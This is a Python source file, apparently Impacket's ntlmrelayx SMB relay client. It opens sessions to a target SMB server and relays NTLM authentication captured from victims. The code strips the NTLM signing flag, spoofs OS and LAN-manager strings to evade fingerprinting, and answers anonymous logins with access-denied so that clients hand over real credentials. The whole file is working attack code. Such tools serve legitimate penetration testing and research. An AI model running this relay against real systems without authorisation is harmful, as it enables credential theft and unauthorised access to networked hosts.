1# Copyright (c) 2013-2016 CORE Security Technologies 2# 3# This software is provided under under a slightly modified version 4# of the Apache Software License. See the accompanying LICENSE file 5# for more information. 6# 7# SMB Relay Protocol Client 8# 9# Author: 10# Alberto Solino (@agsolino) 11# 12# Description: 13# This is the SMB client which initiates the connection to an 14# SMB server and relays the credentials to this server. 15 16import os 17 18from struct import unpack 19from socket import error as socketerror 20from impacket import LOG 21from impacket.examples.ntlmrelayx.clients import ProtocolClient 22from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER 23from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE 24from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge 25from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ 26 SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ 27 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters 28from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \ 29 SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \ 30 SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \ 31 SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response 32from impacket.smbconnection import SMBConnection, SMB_DIALECT, SessionError 33from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech 34 35PROTOCOL_CLIENT_CLASS = "SMBRelayClient" 36 37class MYSMB(SMB): 38 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): 39 self.extendedSecurity = extendedSecurity 40 SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket) 41 42 def neg_session(self, negPacket=None): 43 return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) 44 45class MYSMB3(SMB3): 46 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): 47 self.extendedSecurity = extendedSecurity 48 SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket)) 49 50 def negotiateSession(self, preferredDialect = None, negSessionResponse = None): 51 # We DON'T want to sign 52 self._Connection['ClientSecurityMode'] = 0 53 54 if self.RequireMessageSigning is True: 55 LOG.error('Signing is required, attack won\'t work!') 56 return 57 58 self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION 59 currentDialect = SMB2_DIALECT_WILDCARD 60 61 # Do we have a negSessionPacket already? 62 if negSessionResponse is not None: 63 # Yes, let's store the dialect answered back 64 negResp = SMB2Negotiate_Response(negSessionResponse['Data']) 65 currentDialect = negResp['DialectRevision'] 66 67 if currentDialect == SMB2_DIALECT_WILDCARD: 68 # Still don't know the chosen dialect, let's send our options 69 70 packet = self.SMB_PACKET() 71 packet['Command'] = SMB2_NEGOTIATE 72 negSession = SMB2Negotiate() 73 74 negSession['SecurityMode'] = self._Connection['ClientSecurityMode'] 75 negSession['Capabilities'] = self._Connection['Capabilities'] 76 negSession['ClientGuid'] = self.ClientGuid 77 if preferredDialect is not None: 78 negSession['Dialects'] = [preferredDialect] 79 else: 80 negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30] 81 negSession['DialectCount'] = len(negSession['Dialects']) 82 packet['Data'] = negSession 83 84 packetID = self.sendSMB(packet) 85 ans = self.recvSMB(packetID) 86 if ans.isValidAnswer(STATUS_SUCCESS): 87 negResp = SMB2Negotiate_Response(ans['Data']) 88 89 self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize']) 90 self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize']) 91 self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize']) 92 self._Connection['ServerGuid'] = negResp['ServerGuid'] 93 self._Connection['GSSNegotiateToken'] = negResp['Buffer'] 94 self._Connection['Dialect'] = negResp['DialectRevision'] 95 if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: 96 LOG.error('Signing is required, attack won\'t work!') 97 return 98 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: 99 self._Connection['SupportsFileLeasing'] = True 100 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU: 101 self._Connection['SupportsMultiCredit'] = True 102 103 if self._Connection['Dialect'] == SMB2_DIALECT_30: 104 # Switching to the right packet format 105 self.SMB_PACKET = SMB3Packet 106 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING: 107 self._Connection['SupportsDirectoryLeasing'] = True 108 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL: 109 self._Connection['SupportsMultiChannel'] = True 110 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES: 111 self._Connection['SupportsPersistentHandles'] = True 112 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: 113 self._Connection['SupportsEncryption'] = True 114 115 self._Connection['ServerCapabilities'] = negResp['Capabilities'] 116 self._Connection['ServerSecurityMode'] = negResp['SecurityMode'] 117 118class SMBRelayClient(ProtocolClient): 119 PLUGIN_NAME = "SMB" 120 def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ): 121 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 122 self.extendedSecurity = extendedSecurity 123 124 self.domainIp = None 125 self.machineAccount = None 126 self.machineHashes = None 127 self.sessionData = {} 128 129 self.keepAliveHits = 1 130 131 def keepAlive(self): 132 # SMB Keep Alive more or less every 5 minutes 133 if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): 134 # Time to send a packet 135 # Just a tree connect / disconnect to avoid the session timeout 136 tid = self.session.connectTree('IPC$') 137 self.session.disconnectTree(tid) 138 self.keepAliveHits = 1 139 else: 140 self.keepAliveHits +=1 141 142 def killConnection(self): 143 if self.session is not None: 144 self.session.close() 145 self.session = None 146 147 def initConnection(self): 148 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) 149 #,preferredDialect=SMB_DIALECT) 150 if self.serverConfig.smb2support is True: 151 data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' 152 else: 153 data = '\x02NT LM 0.12\x00' 154 155 if self.extendedSecurity is True: 156 flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 157 else: 158 flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 159 try: 160 packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, 161 flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, 162 flags2=flags2, data=data) 163 except socketerror as e: 164 if 'reset by peer' in str(e): 165 if not self.serverConfig.smb2support: 166 LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') 167 else: 168 LOG.error('SMBCLient error: Connection was reset') 169 else: 170 LOG.error('SMBCLient error: %s' % str(e)) 171 return False 172 if packet[0] == '\xfe': 173 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) 174 else: 175 # Answer is SMB packet, sticking to SMBv1 176 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) 177 178 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, 179 existingConnection=smbClient, manualNegotiate=True) 180 181 return True 182 183 def setUid(self,uid): 184 self._uid = uid 185 186 def sendNegotiate(self, negotiateMessage): 187 negotiate = NTLMAuthNegotiate() 188 negotiate.fromString(negotiateMessage) 189 #Remove the signing flag 190 negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 191 192 challenge = NTLMAuthChallenge() 193 if self.session.getDialect() == SMB_DIALECT: 194 challenge.fromString(self.sendNegotiatev1(negotiateMessage)) 195 else: 196 challenge.fromString(self.sendNegotiatev2(negotiateMessage)) 197 198 # Store the Challenge in our session data dict. It will be used by the SMB Proxy 199 self.sessionData['CHALLENGE_MESSAGE'] = challenge 200 201 return challenge 202 203 def sendNegotiatev2(self, negotiateMessage): 204 v2client = self.session.getSMBServer() 205 206 sessionSetup = SMB2SessionSetup() 207 sessionSetup['Flags'] = 0 208 209 # Let's build a NegTokenInit with the NTLMSSP 210 blob = SPNEGO_NegTokenInit() 211 212 # NTLMSSP 213 blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 214 blob['MechToken'] = str(negotiateMessage) 215 216 sessionSetup['SecurityBufferLength'] = len(blob) 217 sessionSetup['Buffer'] = blob.getData() 218 219 packet = v2client.SMB_PACKET() 220 packet['Command'] = SMB2_SESSION_SETUP 221 packet['Data'] = sessionSetup 222 223 packetID = v2client.sendSMB(packet) 224 ans = v2client.recvSMB(packetID) 225 if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): 226 v2client._Session['SessionID'] = ans['SessionID'] 227 sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) 228 respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) 229 return respToken['ResponseToken'] 230 231 return False 232 233 def sendNegotiatev1(self, negotiateMessage): 234 v1client = self.session.getSMBServer() 235 236 smb = NewSMBPacket() 237 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 238 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 239 # Are we required to sign SMB? If so we do it, if not we skip it 240 if v1client.is_signing_required(): 241 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 242 243 244 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 245 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 246 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 247 248 sessionSetup['Parameters']['MaxBufferSize'] = 65535 249 sessionSetup['Parameters']['MaxMpxCount'] = 2 250 sessionSetup['Parameters']['VcNumber'] = 1 251 sessionSetup['Parameters']['SessionKey'] = 0 252 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 253 254 # Let's build a NegTokenInit with the NTLMSSP 255 # TODO: In the future we should be able to choose different providers 256 257 blob = SPNEGO_NegTokenInit() 258 259 # NTLMSSP 260 blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 261 blob['MechToken'] = str(negotiateMessage) 262 263 sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) 264 sessionSetup['Parameters'].getData() 265 sessionSetup['Data']['SecurityBlob'] = blob.getData() 266 267 # Fake Data here, don't want to get us fingerprinted 268 sessionSetup['Data']['NativeOS'] = 'Unix' 269 sessionSetup['Data']['NativeLanMan'] = 'Samba' 270 271 smb.addCommand(sessionSetup) 272 v1client.sendSMB(smb) 273 smb = v1client.recvSMB() 274 275 try: 276 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 277 except Exception: 278 LOG.error("SessionSetup Error!") 279 raise 280 else: 281 # We will need to use this uid field for all future requests/responses 282 v1client.set_uid(smb['Uid']) 283 284 # Now we have to extract the blob to continue the auth process 285 sessionResponse = SMBCommand(smb['Data'][0]) 286 sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) 287 sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) 288 sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] 289 sessionData.fromString(sessionResponse['Data']) 290 respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) 291 292 return respToken['ResponseToken'] 293 294 def sendStandardSecurityAuth(self, sessionSetupData): 295 v1client = self.session.getSMBServer() 296 flags2 = v1client.get_flags()[1] 297 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) 298 if sessionSetupData['Account'] != '': 299 smb = NewSMBPacket() 300 smb['Flags1'] = 8 301 302 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 303 sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() 304 sessionSetup['Data'] = SMBSessionSetupAndX_Data() 305 306 sessionSetup['Parameters']['MaxBuffer'] = 65535 307 sessionSetup['Parameters']['MaxMpxCount'] = 2 308 sessionSetup['Parameters']['VCNumber'] = os.getpid() 309 sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey'] 310 sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd']) 311 sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd']) 312 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE 313 314 sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] 315 sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] 316 sessionSetup['Data']['Account'] = str(sessionSetupData['Account']) 317 sessionSetup['Data']['PrimaryDomain'] = str(sessionSetupData['PrimaryDomain']) 318 sessionSetup['Data']['NativeOS'] = 'Unix' 319 sessionSetup['Data']['NativeLanMan'] = 'Samba' 320 321 smb.addCommand(sessionSetup) 322 323 v1client.sendSMB(smb) 324 smb = v1client.recvSMB() 325 try: 326 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 327 except: 328 return None, STATUS_LOGON_FAILURE 329 else: 330 v1client.set_uid(smb['Uid']) 331 return smb, STATUS_SUCCESS 332 else: 333 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 334 clientResponse = None 335 errorCode = STATUS_ACCESS_DENIED 336 337 return clientResponse, errorCode 338 339 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 340 if unpack('B', str(authenticateMessageBlob)[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 341 # We need to wrap the NTLMSSP into SPNEGO 342 respToken2 = SPNEGO_NegTokenResp() 343 respToken2['ResponseToken'] = str(authenticateMessageBlob) 344 authData = respToken2.getData() 345 else: 346 authData = str(authenticateMessageBlob) 347 348 if self.session.getDialect() == SMB_DIALECT: 349 token, errorCode = self.sendAuthv1(authData, serverChallenge) 350 else: 351 token, errorCode = self.sendAuthv2(authData, serverChallenge) 352 return token, errorCode 353 354 def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): 355 v2client = self.session.getSMBServer() 356 357 sessionSetup = SMB2SessionSetup() 358 sessionSetup['Flags'] = 0 359 360 packet = v2client.SMB_PACKET() 361 packet['Command'] = SMB2_SESSION_SETUP 362 packet['Data'] = sessionSetup 363 364 # Reusing the previous structure 365 sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob) 366 sessionSetup['Buffer'] = authenticateMessageBlob 367 368 packetID = v2client.sendSMB(packet) 369 packet = v2client.recvSMB(packetID) 370 371 return packet, packet['Status'] 372 373 def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): 374 v1client = self.session.getSMBServer() 375 376 smb = NewSMBPacket() 377 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 378 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 379 # Are we required to sign SMB? If so we do it, if not we skip it 380 if v1client.is_signing_required(): 381 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 382 smb['Uid'] = v1client.get_uid() 383 384 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 385 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 386 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 387 388 sessionSetup['Parameters']['MaxBufferSize'] = 65535 389 sessionSetup['Parameters']['MaxMpxCount'] = 2 390 sessionSetup['Parameters']['VcNumber'] = 1 391 sessionSetup['Parameters']['SessionKey'] = 0 392 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 393 394 # Fake Data here, don't want to get us fingerprinted 395 sessionSetup['Data']['NativeOS'] = 'Unix' 396 sessionSetup['Data']['NativeLanMan'] = 'Samba' 397 398 sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob) 399 sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob 400 smb.addCommand(sessionSetup) 401 v1client.sendSMB(smb) 402 403 smb = v1client.recvSMB() 404 405 errorCode = smb['ErrorCode'] << 16 406 errorCode += smb['_reserved'] << 8 407 errorCode += smb['ErrorClass'] 408 409 return smb, errorCode 410 411 def getStandardSecurityChallenge(self): 412 if self.session.getDialect() == SMB_DIALECT: 413 return self.session.getSMBServer().get_encryption_key() 414 else: 415 return None 416